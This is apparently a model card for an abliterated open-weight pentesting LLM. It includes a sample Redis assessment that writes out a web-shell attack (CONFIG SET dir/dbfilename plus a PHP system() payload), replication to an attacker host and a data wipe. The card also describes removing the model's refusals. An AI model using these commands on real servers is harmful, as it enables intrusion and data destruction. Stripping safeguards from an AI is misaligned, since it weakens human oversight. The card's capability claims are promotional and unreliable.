🐦‍⬛ RavenX-CyberAgent · Qwen3.6-35B · Opus-4.7 · OpenMythos · Pentester · BugHunter · RATH

35B MoE (3B Active) | 745K+ Training Examples | 96 Sources | 12 Training Rounds | 12 Capabilities

The most comprehensive open-source security agent model. 35B MoE with Claude Opus reasoning, abliterated, trained on 745K+ examples from 110 sources. Security assessment, autonomous pentesting, bug bounty hunting, tool calling, code generation, and compliance mapping — all in one model.

Built by @DeadByDawn101 · RavenX LLC

Quick Start

from mlx_lm import load, generate

model, tokenizer = load("deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx")

messages = [
    {"role": "system", "content": "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."},
    {"role": "user", "content": "Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment."}
]

prompt = tokenizer.apply_chat_template(messages, add_generation_prompt=True, tokenize=False)
response = generate(model, tokenizer, prompt=prompt, max_tokens=4096)
print(response)

Or via CLI:

python3 -m mlx_lm chat \
  --model deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx \
  --max-tokens 8192 \
  --system-prompt "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."

Example Output

Prompt: Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment.

1-Attack Surface

• Unauthenticated access on 6379
• SLAVEOF replication endpoint exposed
• Session tokens stored in plaintext
• Default Redis ACL (no restrictions)

2-Exploit

• redis-cli -h target -p 6379
• SLAVEOF <attacker> 6379 to replicate data to controlled server
• CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET payload "<?php system($_GET['c']); ?>" + SAVE for RCE
• FLUSHALL to wipe session data (DoS)

3-Impact

• Full session hijacking of all users
• Potential RCE if Redis runs as root
• Replication abuse: attacker can inject malicious data
• DoS via FLUSHALL/FLUSHDB

4-Remediation

• Set requirepass in redis.conf
• Disable SLAVEOF: rename-command SLAVEOF ""
• Bind to localhost: bind 127.0.0.1
• Enable protected mode and TLS

5-Document

• Record all session tokens and TTLs
• Map SLAVEOF replication chain
• Note Redis version and running user
• CWE-306 (Missing Authentication), MITRE T1133

6-Prevent

• Deploy network segmentation (Redis behind firewall)
• Enable Redis ACL with least privilege
• Set up monitoring for unauthorized SLAVEOF commands
• Regular session token rotation

12 Trained Capabilities

RATH Protocol

Every security finding follows the 6-step RATH protocol:

Step 1: ATTACK SURFACE  → What's exposed, entry points, versions, CVEs
Step 2: EXPLOIT          → Specific commands to demonstrate (5-7 max)
Step 3: IMPACT           → CVSS 3.1 score, business/regulatory consequences
Step 4: REMEDIATION      → Exact commands and configuration fixes
Step 5: DOCUMENT         → Compliance mapping (NIST/ISO/PCI/GDPR), SLA timelines
Step 6: PREVENT          → Monitoring rules, detection signatures, ongoing controls

Model Architecture

Layer 1: Qwen3.6-35B-A3B          ← 35B MoE (3B active, 256 experts)
         ├── Mamba layers (30)        Linear attention for efficiency
         └── Full attention (10)      Standard transformer attention
Layer 2: Claude 4.7 Opus distill   ← Enhanced chain-of-thought reasoning
Layer 3: Abliteration              ← Zero refusals for security topics
Layer 4: RavenX LoRA (8 rounds)    ← 745K+ security/agent/code examples
         ═══════════════════
         RavenX-CyberAgent v5.1    ← Pentester + BugHunter + RATH

Training (12 Rounds)

Hardware: Apple M4 Max 128GB · Peak memory: ~90GB · Framework: MLX (mlx-lm) Total training examples: 745K+ from 110 sources

Complete Training Data (96 Sources, 745K+ Examples)

HuggingFace Datasets (38 Sources)

Security & Pentesting (17 Datasets)

Agentic, Coding & Tool Calling (8 Datasets)

Threat Intel & Vulnerability (6 Datasets)

AYI-NEDJIMI Security Frameworks (7 Datasets)

Character & Reasoning Distillation (1 Dataset)

GitHub Repos — Bug Bounty & Pentesting (36 shuvonsec repos, 1,492 examples)

GitHub Repos — Agent & Research (20 repos, 65,596 examples)

Synthetic Data (38 examples)

OpenMythos Research

This model is part of ongoing research into RDT-to-MoE reasoning transfer:

• 4x depth extrapolation confirmed on Apple Silicon (train 2 loops → optimal at 8)
• MoDA (Mixture-of-Depths Attention) ported to MLX
• Maidacundo's pretrained 140M OpenMythos loaded and fine-tuned on security data
• Research paper planned: "RDT-Distilled Security Reasoning in MoE Transformers"

See: OpenMythos-MLX

The RavenX Model Family

Ecosystem

IN-CONTEXT ADAPTATION (Breakthrough Discovery)

This model can learn from references IN THE PROMPT — no retraining needed.

What We Discovered

When pointed at a GitHub repo containing pentest report templates, the model:

1. Analyzed the repo's report structure (NIST format)
2. Applied that structure to its current findings
3. Produced a complete, client-ready pentest deliverable
4. All at 80+ tokens/sec locally

Example

PROMPT: "Use your MCP tool to look at github.com/juliocesarfort/public-pentesting-reports 
        and learn how to format a pentest report, then create a report on the pentest 
        you just did on [target]"

OUTPUT: Complete professional pentest report with:
  → Executive Summary (5 critical, 7 high, 4 medium, 3 low)
  → 5-Phase Kill Chain with real commands
  → 19 findings with CVSS + CWE + MITRE ATT&CK
  → Risk Matrix ranked by severity
  → Remediation Timeline (0-30, 30-60, 60-90, 90+ days)
  → Specific commands for EVERY finding

Why This Works

The model was trained on 745K+ examples including:

• 42K self-improving agent examples (Hermes)
• 6.7K AI-Scientist research automation
• 3.6K AutoResearch pipeline data
• 25K Claude Mythos reasoning chains
• 551 Mythos character distillation (behavioral depth)
• 1,003 blackhat AI offensive security conversations

This combination created emergent meta-learning — the model learned HOW TO LEARN from references. It can:

No retraining. No fine-tuning. Just point and generate.

What This Means

A $50K-$150K pentest engagement deliverable — generated in 60 seconds on a laptop. The model adapts its output format from ANY reference, produces client-ready reports with real commands, and maintains full RATH protocol structure throughout.

This is not prompt engineering. This is In-Context Adaptation — a capability that emerged from training on self-improving agent + research automation + reasoning chain data.

⚠️ Important Disclaimer

This model is released for RESEARCH PURPOSES ONLY under fair use.

This is an extremely capable autonomous security assessment model. It has been trained on 745K+ examples from 110 sources covering penetration testing, vulnerability assessment, exploit development, tool usage, and attack chain methodology.

Responsible Use:

• This model is intended for authorized security testing, research, and education ONLY
• Users must have explicit written authorization before assessing any target
• Use within a properly configured agent harness with appropriate guardrails
• All security testing must comply with applicable laws and regulations
• The model authors are not responsible for misuse

What This Model Can Do:

• Generate complete RATH security assessments with CVSS, CWE, MITRE ATT&CK
• Produce tool-calling commands (nmap, sqlmap, nuclei, kubectl, aws-cli, etc.)
• Create professional pentest reports ($50K+ consulting quality)
• Learn output formats from reference repositories (In-Context Adaptation)
• Operate with agent memory (TurboVec + FTS5 + markdown) at model + harness level

Agent Harness Considerations:

• The harness MUST strip <think> blocks (Qwen3.6 architecture always generates them)
• The harness MUST validate <tool_call> JSON before execution
• The harness SHOULD implement authorization checks before executing commands
• The harness SHOULD implement rate limiting and scope restrictions
• Memory operations require the ravenx-memory system

Built by: @DeadByDawn101 / RavenX LLC AI Pair Programmer: Claude (Anthropic)

License

Apache-2.0

Built on Apple Silicon. Trained with MLX. Powered by RavenX. 🐦‍⬛